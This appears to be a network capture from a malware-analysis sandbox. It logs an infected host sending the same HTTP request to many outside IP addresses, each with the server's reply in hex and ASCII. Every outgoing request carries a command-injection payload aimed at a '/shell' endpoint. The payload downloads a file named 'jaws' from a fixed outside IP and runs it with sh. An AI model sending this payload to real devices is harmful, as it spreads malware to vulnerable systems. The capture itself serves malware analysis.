Mar 13, 2024 09:36:45.822227001 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:46.062997103 CET	499	IN	HTTP/1.1 400 Bad Request Date: Wed, 13 Mar 2024 08:36:45 GMT Server: Apache/2.4.38 (Raspbian) Content-Length: 303 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 33 38 20 28 52 61 73 70 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 31 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.38 (Raspbian) Server at 127.0.1.1 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
319	192.168.2.15	40268	23.59.5.160	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:45.854366064 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:46.118320942 CET	431	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 209 Expires: Wed, 13 Mar 2024 08:36:45 GMT Date: Wed, 13 Mar 2024 08:36:45 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 34 65 37 32 32 64 31 37 26 23 34 36 3b 31 37 31 30 33 31 39 30 30 35 26 23 34 36 3b 39 35 64 36 66 37 39 33 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.4e722d17.1710319005.95d6f793</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
320	192.168.2.15	35726	149.29.118.217	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:45.913466930 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:46.209016085 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Wed, 13 Mar 2024 08:36:46 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
321	192.168.2.15	58236	52.9.249.33	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:45.941195011 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:46.104800940 CET	400	IN	HTTP/1.1 301 Moved Permanently Server: awselb/2.0 Date: Wed, 13 Mar 2024 08:36:46 GMT Content-Type: text/html Content-Length: 134 Connection: keep-alive Location: https://127.0.0.1:443/shell?cd+/tmp;rm+-rf+*;wget+ 94.156.66.36/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
322	192.168.2.15	58670	52.59.14.79	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:45.946887016 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:46.116044044 CET	400	IN	HTTP/1.1 301 Moved Permanently Server: awselb/2.0 Date: Wed, 13 Mar 2024 08:36:46 GMT Content-Type: text/html Content-Length: 134 Connection: keep-alive Location: https://127.0.0.1:443/shell?cd+/tmp;rm+-rf+*;wget+ 94.156.66.36/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
323	192.168.2.15	34452	104.94.21.192	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:45.949872971 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:46.121074915 CET	430	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 208 Expires: Wed, 13 Mar 2024 08:36:46 GMT Date: Wed, 13 Mar 2024 08:36:46 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 35 36 61 63 31 37 30 32 26 23 34 36 3b 31 37 31 30 33 31 39 30 30 36 26 23 34 36 3b 31 34 34 39 64 33 32 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.56ac1702.1710319006.1449d32</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
324	192.168.2.15	60874	159.69.95.59	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:45.951308012 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:46.124463081 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Wed, 13 Mar 2024 08:36:46 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
325	192.168.2.15	39240	81.158.178.51	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:45.952634096 CET	231	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:46.127535105 CET	317	IN	HTTP/1.0 302 Found Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Location: https://127.0.0.1:443/shell Content-type: text/html Data Raw: 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 33 30 32 20 44 6f 63 75 6d 65 6e 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 0a 54 68 69 73 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 31 32 37 2e 30 2e 30 2e 31 3a 34 34 33 2f 73 68 65 6c 6c 22 3e 68 65 72 65 3c 2f 41 3e 2e 3c 50 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html> <head> <title>302 Document moved</title> </head><body>This document has moved <A HREF="https://127.0.0.1:443/shell">here</A>.<P></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
326	192.168.2.15	39392	188.217.114.71	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:46.016738892 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:46.207318068 CET	115	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port
327	192.168.2.15	36712	157.230.160.194	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:46.067998886 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:46.230496883 CET	296	IN	HTTP/1.1 400 Bad Request Date: Wed, 13 Mar 2024 08:36:46 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
328	192.168.2.15	54088	192.210.166.224	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:46.072695971 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:46.231611967 CET	413	IN	HTTP/1.0 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="login" Connection: close Content-type: text/html; charset=utf-8 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 37 20 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 34 30 37 20 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 68 32 3e 3c 68 33 3e 41 63 63 65 73 73 20 74 6f 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 64 69 73 61 6c 6c 6f 77 65 64 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 6f 72 20 79 6f 75 20 6e 65 65 64 20 76 61 6c 69 64 20 75 73 65 72 6e 61 6d 65 2f 70 61 73 73 77 6f 72 64 20 74 6f 20 75 73 65 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>407 Proxy Authentication Required</title></head><body><h2>407 Proxy Authentication Required</h2><h3>Access to requested resource disallowed by administrator or you need valid username/password to use this resource</h3></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
329	192.168.2.15	59814	23.64.173.172	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:46.908704996 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:47.605007887 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:47.734241962 CET	431	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 209 Expires: Wed, 13 Mar 2024 08:36:47 GMT Date: Wed, 13 Mar 2024 08:36:47 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 38 34 36 63 63 64 31 37 26 23 34 36 3b 31 37 31 30 33 31 39 30 30 37 26 23 34 36 3b 31 34 38 65 34 33 30 34 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.846ccd17.1710319007.148e4304</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
330	192.168.2.15	58294	52.9.249.33	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:48.086498022 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:48.247430086 CET	400	IN	HTTP/1.1 301 Moved Permanently Server: awselb/2.0 Date: Wed, 13 Mar 2024 08:36:48 GMT Content-Type: text/html Content-Length: 134 Connection: keep-alive Location: https://127.0.0.1:443/shell?cd+/tmp;rm+-rf+*;wget+ 94.156.66.36/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
331	192.168.2.15	47100	217.239.255.141	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:48.525118113 CET	231	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:48.802136898 CET	1286	IN	HTTP/1.1 400 Content-Type: text/html;charset=utf-8 Content-Language: de Content-Length: 1928 Date: Wed, 13 Mar 2024 08:36:47 GMT Connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 64 65 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 30 20 e2 80 93 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 62 6f 64 79 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 68 31 2c 20 68 32 2c 20 68 33 2c 20 62 20 7b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 68 31 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 68 32 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 68 33 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 70 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 20 61 20 7b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 7d 20 2e 6c 69 6e 65 20 7b 68 65 69 67 68 74 3a 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 30 20 e2 80 93 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 68 72 20 63 6c 61 73 73 3d 22 6c 69 6e 65 22 20 2f 3e 3c 70 3e 3c 62 3e 54 79 70 65 3c 2f 62 3e 20 45 78 63 65 70 74 69 6f 6e 20 52 65 70 6f 72 74 3c 2f 70 3e 3c 70 3e 3c 62 3e 4d 65 73 73 61 67 65 3c 2f 62 3e 20 49 6e 76 61 6c 69 64 20 63 68 61 72 61 63 74 65 72 20 66 6f 75 6e 64 20 69 6e 20 74 68 65 20 48 54 54 50 20 70 72 6f 74 6f 63 6f 6c 20 5b 39 34 2e 31 35 36 2e 36 36 2e 33 36 26 23 34 37 3b 6a 61 77 73 3b 73 68 2b 26 23 34 37 3b 74 6d 70 26 23 34 37 3b 6a 61 77 73 20 5d 3c 2f 70 3e 3c 70 3e 3c 62 3e 42 65 73 63 68 72 65 69 62 75 6e 67 3c 2f 62 3e 20 54 68 65 20 73 65 72 76 65 72 20 63 61 6e 6e 6f 74 20 6f 72 20 77 69 6c 6c 20 6e 6f 74 20 70 72 6f 63 65 73 73 20 74 68 65 20 72 65 71 75 65 73 74 20 64 75 65 20 74 6f 20 73 6f 6d 65 74 68 69 6e 67 20 74 68 61 74 20 69 73 20 70 65 72 63 65 69 76 65 64 20 74 6f 20 62 65 20 61 20 63 6c 69 65 6e 74 20 65 72 72 6f 72 20 28 65 2e 67 2e 2c 20 6d 61 6c 66 6f 72 6d 65 64 20 72 65 71 75 65 73 74 20 73 79 6e 74 61 78 2c 20 69 6e 76 61 6c 69 64 20 72 65 71 75 65 73 74 20 6d 65 73 73 61 67 65 20 66 72 61 6d 69 6e 67 2c 20 6f 72 20 64 65 63 65 70 74 69 76 65 20 72 65 71 75 65 73 74 20 72 6f 75 74 69 6e 67 29 2e 3c 2f 70 3e 3c 70 3e 3c 62 3e 45 78 63 65 70 74 69 6f 6e 3c 2f 62 3e 3c 2f 70 3e 3c 70 72 65 3e 6a 61 76 61 2e 6c 61 6e 67 2e 49 6c 6c 65 67 61 6c 41 72 67 75 6d 65 6e 74 45 78 63 65 70 74 69 6f 6e 3a 20 49 6e 76 61 6c 69 64 20 63 68 61 72 61 63 74 65 72 20 66 6f 75 6e 64 20 69 6e 20 74 68 65 20 48 54 54 50 20 70 72 6f 74 6f 63 6f 6c 20 5b 39 34 2e 31 35 36 2e 36 36 2e 33 36 26 23 34 37 3b 6a 61 77 73 3b 73 68 2b 26 23 34 37 3b 74 6d 70 26 23 34 37 3b 6a 61 77 73 20 5d 0d 0a 09 6f 72 67 2e 61 70 61 63 68 65 2e 63 6f 79 6f 74 65 2e 68 74 74 70 31 31 2e 48 74 74 70 31 31 49 6e 70 75 74 42 75 66 66 65 72 2e 70 61 72 73 65 52 65 71 75 65 73 74 4c 69 6e 65 28 48 74 74 70 31 31 49 6e 70 75 74 42 75 66 66 65 72 2e 6a 61 76 61 3a 35 37 38 29 0d 0a 09 6f 72 67 2e 61 70 61 63 68 65 2e 63 6f 79 6f 74 65 2e 68 74 74 70 31 31 2e 48 74 74 70 31 31 50 72 6f 63 65 73 73 6f 72 2e 73 65 72 76 69 63 65 28 48 74 74 70 31 31 50 72 6f 63 65 73 73 6f 72 2e 6a 61 Data Ascii: <!doctype html><html lang="de"><head><title>HTTP Status 400 Bad Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400 Bad Request</h1><hr class="line" /><p><b>Type</b> Exception Report</p><p><b>Message</b> Invalid character found in the HTTP protocol [94.156.66.36/jaws;sh+/tmp/jaws ]</p><p><b>Beschreibung</b> The server cannot or will not process the request due to something that is perceived to be a client error (e.g., malformed request syntax, invalid request message framing, or deceptive request routing).</p><p><b>Exception</b></p><pre>java.lang.IllegalArgumentException: Invalid character found in the HTTP protocol [94.156.66.36/jaws;sh+/tmp/jaws ]org.apache.coyote.http11.Http11InputBuffer.parseRequestLine(Http11InputBuffer.java:578)org.apache.coyote.http11.Http11Processor.service(Http11Processor.ja
Mar 13, 2024 09:36:48.802195072 CET	798	IN	Data Raw: 76 61 3a 35 30 33 29 0d 0a 09 6f 72 67 2e 61 70 61 63 68 65 2e 63 6f 79 6f 74 65 2e 41 62 73 74 72 61 63 74 50 72 6f 63 65 73 73 6f 72 4c 69 67 68 74 2e 70 72 6f 63 65 73 73 28 41 62 73 74 72 61 63 74 50 72 6f 63 65 73 73 6f 72 4c 69 67 68 74 2e Data Ascii: va:503)org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:65)org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:831)org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun

Session ID	Source IP	Source Port	Destination IP	Destination Port
332	192.168.2.15	34976	104.76.72.213	80

Timestamp	Bytes transferred	Direction	Data
